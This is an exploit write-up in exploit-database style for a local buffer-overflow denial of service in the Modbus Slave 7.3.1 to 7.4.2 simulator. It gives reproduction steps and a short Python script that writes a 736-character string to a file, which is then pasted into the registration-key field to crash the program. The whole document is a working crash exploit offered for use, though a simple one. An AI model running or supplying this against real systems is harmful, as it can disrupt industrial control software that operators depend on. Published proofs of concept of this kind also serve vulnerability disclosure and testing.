Modbus Slave 7.3.1 - Buffer Overflow (DoS)

# Exploit Title: Modbus Slave 7.3.1 - Buffer Overflow (DoS)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-19
# Vendor Homepage: https://www.modbustools.com/
# Software Link : https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Tested Version: 7.3.1 < 7.4.2
# Vulnerability Type: Buffer Overflow (DoS) Local
# Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Modbus Slave 7.3.1 < 7.4.2 Buffer Overflow

# Steps to reproduce:
# 1. - Download and install Modbus Slave
# 2. - Run the python script and it will create modbus.txt file.
# 3. - Modbus Slave 7.3.1 < 7.4.2
# 4. - Connection -> Connect
# 5. - Paste the characters of txt file Registration Key 
# 6. - press "ok" button
# 7. - Crashed

#!/usr/bin/python

exploit = 'A' * 736

try: 
    file = open("Modbus.txt","w")
    file.write(exploit)
    file.close()

    print("POC is created")
except:
    print("POC not created")